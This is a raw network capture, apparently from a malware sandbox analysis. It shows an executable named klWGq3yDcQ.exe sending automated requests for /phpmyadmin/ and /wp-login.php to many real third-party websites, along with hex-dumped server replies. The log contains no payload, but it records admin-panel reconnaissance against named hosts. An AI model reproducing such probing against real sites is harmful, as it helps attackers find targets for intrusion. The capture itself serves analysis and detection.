Nov 26, 2023 06:59:32.027693033 CET	229	OUT	GET /phpmyadmin/ HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.178262949 CET	268	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Sun, 26 Nov 2023 05:59:23 GMT Content-Length: 0 Connection: keep-alive x-backend: deny_backend Strict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	56381	162.210.96.117	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.031249046 CET	237	OUT	GET /phpmyadmin/ HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.200989962 CET	1340	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Vary: accept-language,accept-charset,User-Agent Accept-Ranges: bytes Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Content-Language: en Data Raw: 63 38 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 33 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 62 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0d 0a 31 31 0d 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 0d 0a 32 31 0d 0a 34 30 34 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 0d 0a 32 39 0d 0a 63 6f 72 61 6c 70 61 72 6b 63 68 72 69 73 74 69 61 6e 2e 6f 72 67 3c 2f 61 3e 3c 62 72 20 2f 3e 0a 20 20 3c 73 70 61 6e 3e 0d 0a 32 39 0d 0a 41 70 Data Ascii: c8<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="een" xml:lang="13en"><head><title>38Object not found!</title><link rev="made" href="mailto:113%5bno%20address%20given%5d" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>1bObject not found!</h1><p>39 The requested URL was not found on this server. 57 If you entered the URL manually please check your spelling and try again. 29</p><p>48If you think this is a server error, please contactthe <a href="mailto:2b%5bno%20address%20given%5d">webmaster</a>.11</p><h2>Error 21404</h2><address> <a href="/">29coralparkchristian.org</a><br /> <span>29Ap
Nov 26, 2023 06:59:32.201001883 CET	106	IN	Data Raw: 61 63 68 65 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 31 0d 0a 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: ache</span></address></body></html>10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	56387	15.235.14.141	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.043378115 CET	226	OUT	GET /phpmyadmin/ HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.149755001 CET	273	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 239 Connection: keep-alive Location: https://unaj.edu.pe/phpmyadmin/
Nov 26, 2023 06:59:32.149768114 CET	293	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://unaj.edu.pe/phpmyadmin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	56288	139.162.169.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.082813978 CET	232	OUT	GET /phpmyadmin/ HTTP/1.1 Host: hmichaelandco.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.910742044 CET	1340	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.4.33 content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <http://hmichaelandco.com/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Sun, 26 Nov 2023 05:59:32 GMT server: LiteSpeed Data Raw: 32 66 39 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 73 e3 36 b2 e8 67 b9 ea fc 07 0c 9d 58 d2 2c 49 51 2f 3f 64 cb 39 93 d9 64 93 53 c9 26 37 93 9c ad 5b 93 39 2a 88 84 24 cc 50 04 97 80 64 7b 3d fe 41 f7 6f dc 5f 76 ab f1 20 41 8a 7a f8 91 9c f3 e1 2a 95 31 09 02 dd 8d 46 a3 d1 00 ba 81 ab 57 11 0b c5 5d 4a d0 42 2c e3 eb a3 2b f8 83 62 9c cc c7 0e 49 bc df de 39 47 8d 34 23 33 7a 3b 76 d8 7c 84 16 42 a4 7c d4 e9 b0 79 ea 2f 49 27 e1 c7 0e 82 52 04 47 d7 47 57 4b 22 b0 cc e2 91 7f ae e8 7a ec bc 65 89 20 89 f0 7e bd 4b 89 83 42 f5 36 76 04 b9 15 1d c0 74 89 c2 05 ce 38 11 e3 df 7e fd d6 3b 77 50 e7 fa e8 e8 ea 95 e7 a1 1f d9 94 c6 04 bd 4b 49 48 67 34 44 3f 12 81 39 3a 41 df e2 35 0d 59 c2 91 e7 19 84 09 5e 92 b1 b3 a6 e4 26 65 99 b0 d0 dc d0 48 2c c6 11 59 d3 90 78 f2 c5 45 34 a1 82 e2 d8 e3 21 8e c9 b8 eb a2 25 be a5 cb d5 b2 48 58 71 92 c9 37 3c 8d c9 38 70 ae af 62 9a 7c 42 19 89 c7 0e 5f b0 4c 84 2b 81 80 06 07 2d 32 32 1b 3b c0 93 51 a7 b3 58 d2 70 81 49 8c 93 28 64 7e c8 96 9d 9b d4 d3 55 ee ac d2 98 e1 88 77 7a 41 2f e8 04 a7 79 66 3f 4d e6 25 0c 38 4d 63 e2 09 b6 0a 17 de 9f 88 84 d3 7f 11 3e 76 ba bd e0 b6 db 0b fe a4 9a 69 a4 67 a7 b7 67 a7 7f 2e ca ee b0 77 db 1d f6 5e 10 29 c8 ec 3f 58 16 fd 9c 11 ce d1 3b b1 9a cd a4 88 a2 2d bf 2b 1e 66 34 15 d7 47 5b be cb e4 ce 6b f4 bf d9 0a 85 38 41 38 8a d0 92 65 04 3a d1 8c ce 57 19 16 94 25 88 a5 f0 87 23 c1 d0 0d 99 ce 58 22 40 ce 48 86 a6 77 28 cd c8 9a b2 15 8f ef 50 44 66 34 a1 c9 1c 89 05 41 ff 20 d3 6f 59 22 de 4a 40 e8 86 8a 05 ba 63 ab 2c 87 f5 ba b3 93 28 3a 43 2d 04 2a 83 cd 2a a0 c6 e3 31 72 56 89 44 46 22 07 b5 d1 fd 4e 48 50 c7 32 31 63 94 90 1b f4 d3 f4 23 09 45 ab 7d b9 b3 f4 c3 ce af 25 b8 ef 9b 73 c6 e6 31 69 7e 40 63 74 3f c3 4b 1a 53 c2 47 e8 7d f3 47 96 08 4e b2 0c 8b 51 37 08 dc 5e 10 b8 fd 20 70 07 41 e0 0e 83 c0 3d 0d 02 f7 2c 08 dc f3 20 70 2f 82 c0 ed 06 01 15 38 a6 21 e4 d4 4f fd fc 69 90 3f 0d f3 a7 d3 fc e9 2c 7f 3a cf 9f 2e cc 53 d3 45 cd 9f 52 92 fc e5 1d 4e f8 c8 90 60 a3 af 43 b3 13 f8 09 5f 4d 41 b3 c6 58 d0 a4 f9 e1 e1 f2 68 27 c3 5a b3 55 12 82 30 b5 0e 69 b6 35 ce d0 cd 0c 8d 51 c4 c2 d5 92 24 c2 0f 33 82 05 f9 26 26 f0 d6 42 4d 25 df 4d b4 a7 15 41 06 6e 66 3e cf 42 34 46 4d 33 bc e0 8f f8 d6 57 6d 86 53 ca a5 36 85 b4 4e 4c a7 bc a3 25 bd d3 f5 87 7e df bc f9 1f 79 73 b7 c0 68 54 72 b4 1b a3 a6 1c 84 3e e2 35 d6 94 1e 54 18 f3 bb 44 52 2a b2 15 39 00 1f f0 89 db 6c 9a 13 a1 79 c4 bf be fb 15 cf ff 8e 97 c4 e6 d6 fb e0 c3 7e 42 b8 9f e2 8c 24 e2 ef 2c 22 3e 4d 38 c9 c4 d7 64 c6 32 d2 42 37 33 Data Ascii: 2f91}ks6gX,IQ/?d9dS&7[9$Pd{=Ao_v Az1FW]JB,+bI9G4#3z;v\|B\|y/I'RGGWK"ze ~KB6vt8~;wPKIHg4D?9:A5Y^&eH,YxE4!%HXq7<8pb\|B_L+-22;QXpI(d~UwzA/yf?M%8Mc>vigg.w^)?X;-+f4G[k8A8e:W%#X"@Hw(PDf4A oY"J@c,(:C-*1rVDF"NHP21c#E}%s1i~@ct?KSG}GNQ7^ pA=, p/8!Oi?,:.SERN`C_MAXh'ZU0i5Q$3&&BM%MAnf>B4FM3WmS6NL%~yshTr>5TDR9ly~B$,">M8d2B73
Nov 26, 2023 06:59:32.910756111 CET	1340	IN	Data Raw: 17 f1 7d 4c 7f 68 ef ea 5c 57 9d 7d ba e9 a8 d1 90 83 f4 9b 38 46 34 41 3f 25 04 bd fb e6 27 34 f0 03 bf 7b 0e 6a ef df 20 87 a0 22 26 d7 3f e3 39 41 09 13 68 c6 56 49 84 3e 23 f4 dd 8f 6a a0 44 27 78 99 5e a2 b7 cc bf ea a8 bc 50 4a da 10 6a 48 Data Ascii: }Lh\W}8F4A?%'4{j "&?9AhVI>#jD'x^PJjHnIDn5,',!*t.pIGDDhQpgFK Yq;0PN_nd&/Ib[:t1#$R5(xa:wIC9G74?I}
Nov 26, 2023 06:59:32.910797119 CET	1340	IN	Data Raw: 64 02 0c 61 0f c7 74 9e 8c 90 17 f8 1b 90 41 84 e7 19 58 e3 75 04 a5 38 8a 60 84 41 41 89 9e 07 60 1e f0 ec fa c8 b2 bc 9b 32 89 2f 08 11 4d 44 a3 71 f3 26 f5 a6 31 0b 3f 79 31 9d 66 38 bb f3 42 ce 9b 48 9b cc bb 16 ca 8c 55 d4 09 39 ef 44 94 8b Data Ascii: datAXu8`AA`2/MDq&1?y1f8BHU9DN-[QS5I\KQ<n85I"qOV`^4XvB;No$-Yuc6Y.ZAXE^MYtwy71N,fMc~@.kw87'
Nov 26, 2023 06:59:32.910845995 CET	1340	IN	Data Raw: 2e 7b 3e c2 c3 75 d8 53 70 3d 45 77 3d 01 cf 13 74 d6 13 b0 3c 5e 57 3d 01 c9 63 75 d4 93 51 6c d5 4d 15 0a 8a 65 48 6d fc e5 eb b7 85 7e b4 4c 9d 3a 05 90 97 d8 b7 d8 5c 27 f7 15 11 2a c8 29 86 a8 7c 6d da b2 2a 0e 26 e9 90 45 e8 3a ba ca 4b b6 Data Ascii: .{>uSp=Ew=t<^W=cuQlMeHm~L:\')\|m&E:Kz<i?5/I^Xs~Qv)YtB,4K/rx,T%H5kBSQ^~2\fIYXrW:E5B5jr5 eG]F~8
Nov 26, 2023 06:59:32.910859108 CET	1340	IN	Data Raw: d3 97 84 a6 9a 56 41 f4 e4 81 14 77 23 75 02 84 94 dd e6 3e e1 05 01 41 d8 45 8b 9e fc b7 2f ff 1d c8 7f 87 f2 df 53 84 91 06 7f 23 03 6f 21 6c 69 41 32 2a 72 c9 cf df 15 b0 d1 82 ad 49 a6 40 e6 cf 7d 84 f3 e7 81 f5 3c b4 9e 4f 8b 67 9d 59 4a 6f Data Ascii: VAw#u>AE/S#o!liA2*rI@}<OgYJosM[yh=s GOt%$pOboXU(FRfKV eqF@ePRH71Ah;hA&$DL!5V/]+w_Z
Nov 26, 2023 06:59:32.910871029 CET	1340	IN	Data Raw: 1d 7e 02 16 fa 1c 9e b6 34 a6 e4 f8 af 70 3e ec 14 67 5c 66 97 7b 1d b0 aa f9 c2 3b 1f fa 40 20 e8 f8 b3 55 1c 4b 34 55 aa 2e 66 17 b3 8b 4b 33 2d 30 c2 01 56 96 3c ce cb 12 b2 e3 29 1c 71 16 66 ab e5 94 97 e5 0b e2 c2 01 89 95 c1 2d bd bd c4 1c Data Ascii: ~4p>g\f{;@ UK4U.fK3-0V<)qf-BxZ1+-;$ Vo?v\|E%2UH{a\MI'^8u2>LUXyeVL=nY++?\$)`>",4&PG89i
Nov 26, 2023 06:59:32.910883904 CET	1340	IN	Data Raw: 11 fa aa 2a d4 c6 f9 16 eb 30 f5 c1 e9 bf 98 6d 17 8a c3 c2 9a 67 d2 38 dc 6a 82 9e 75 d6 16 36 0d 3e 89 29 17 7a 20 43 55 22 ab cd a7 c6 bb 49 8c ef 48 46 22 a3 81 c2 05 e3 e0 46 59 56 f6 15 9d 66 4b 81 06 63 26 77 70 03 d3 9c 65 94 70 8b 6d c6 Data Ascii: *0mg8ju6>)z CU"IHF"FYVfKc&wpepm06j(u{K9X[Utw)'IPvL8cl]%4xkpS,dRbjf=h+#opv%}rST~$8\HoE&Lx
Nov 26, 2023 06:59:32.910924911 CET	1340	IN	Data Raw: ae 19 02 c3 0e c9 0b fc 48 06 47 a1 a1 fc 8c 06 1f 2e 25 87 4b d1 df d3 19 8a 05 41 df 7f 83 2e 3e 5c 5b c7 4b a8 43 ec e0 04 31 73 ba 04 d8 01 70 72 d5 de 73 2b 6e 60 57 59 ce b4 3b e6 b6 c1 9a 03 3e e0 e6 c4 75 38 89 05 99 50 72 01 66 27 9c d7 Data Ascii: HG.%KA.>\[KC1sprs+n`WY;>u8Prf' :vTs}=I":ym{Nr~OA (Wxf$Q\|t-e*(d\9Iv`g8$:>N+qr7xGE K+/jR-m0Vvr
Nov 26, 2023 06:59:32.910937071 CET	1340	IN	Data Raw: 41 29 1a 78 3c ca f5 4c e3 48 99 4e 24 03 e3 09 ec 18 50 38 a5 38 d9 a2 65 54 e0 7a 6e 9b 80 51 60 2b ba 92 21 52 fa 52 6b 71 54 b1 49 3b c3 58 44 ff df e8 28 d6 26 76 9a 47 2f 3d 8a db 12 94 eb fe 63 c7 16 8b 62 04 84 b8 6f 30 f6 4c ab cd 30 9a Data Ascii: A)x<LHN$P88eTznQ`+!RRkqTI;XD(&vG/=cbo0L0abgR62l93q0["6Xm/H/IFe$;?CJVK[t+,;WP0H+NRsq"cAiC`=v
Nov 26, 2023 06:59:32.910948992 CET	1106	IN	Data Raw: 5e 97 c5 8b 27 bb 6d f3 fb 97 f2 7c 7f 10 99 3b d8 57 a0 56 9e 7e 35 1c ac 66 f9 f3 89 4c 33 22 c4 dd cf 0b 26 98 ff 91 db ad ab be a4 f0 e5 cf 27 8b 72 26 58 4a fc f4 d3 3c aa e1 9b fe fc e7 d3 65 4c 4d b0 40 6c 66 e5 e9 ff 0d 24 c5 e4 56 39 8a Data Ascii: ^'m\|;WV~5fL3"&'r&XJ<eLM@lf$V90b?0q?UNGMfDw4EfEFC\F"6HMSv&kdSBj&,[w'vf8D~4wA6F*Nh7s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	56378	178.32.41.233	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.082983971 CET	235	OUT	GET /wp-login.php HTTP/1.1 Host: rochester-gauges.be Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.251671076 CET	546	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 26 Nov 2023 05:55:03 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	56442	162.210.96.117	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.091429949 CET	238	OUT	GET /wp-login.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.928236008 CET	551	IN	HTTP/1.1 302 Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Redirect-By: WordPress Set-Cookie: PHPSESSID=25spuedk1v8jkqk9dcaj8tnufu; path=/ Set-Cookie: wr-cf-list_email_send_to=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Location: https://coralparkchristian.org/wp-login.php Vary: User-Agent Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	56410	162.144.64.233	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.184113026 CET	228	OUT	GET /phpmyadmin/ HTTP/1.1 Host: tcetmumbai.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.369997025 CET	493	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Location: https://tcetmumbai.in/phpmyadmin/ Content-Length: 241 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 63 65 74 6d 75 6d 62 61 69 2e 69 6e 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://tcetmumbai.in/phpmyadmin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	56550	3.33.130.190	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.184214115 CET	226	OUT	GET /phpmyadmin/ HTTP/1.1 Host: gmailvz.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.521661997 CET	1340	IN	HTTP/1.1 200 OK Server: openresty Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html Content-Length: 1177 Last-Modified: Mon, 13 Nov 2023 23:36:19 GMT Connection: keep-alive ETag: "6552b2f3-499" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_ZCTCHaPnoiDYrNNKnLW0UwFSnp9gyMAUgtHq3X8KuXvCkQrj7ddiSk1fqax6yQxO4mQKEGGwBFEvrnxnkaiSIQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=10.119.144.22;Path=/;Max-Age=86400; Set-Cookie: country=;Path=/;Max-Age=86400; Set-Cookie: city="";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 23 63 6f 6e 74 65 6e 74 2d 6d 61 69 6e 7b 64 69 73 70 6c 61 79 3a 6e 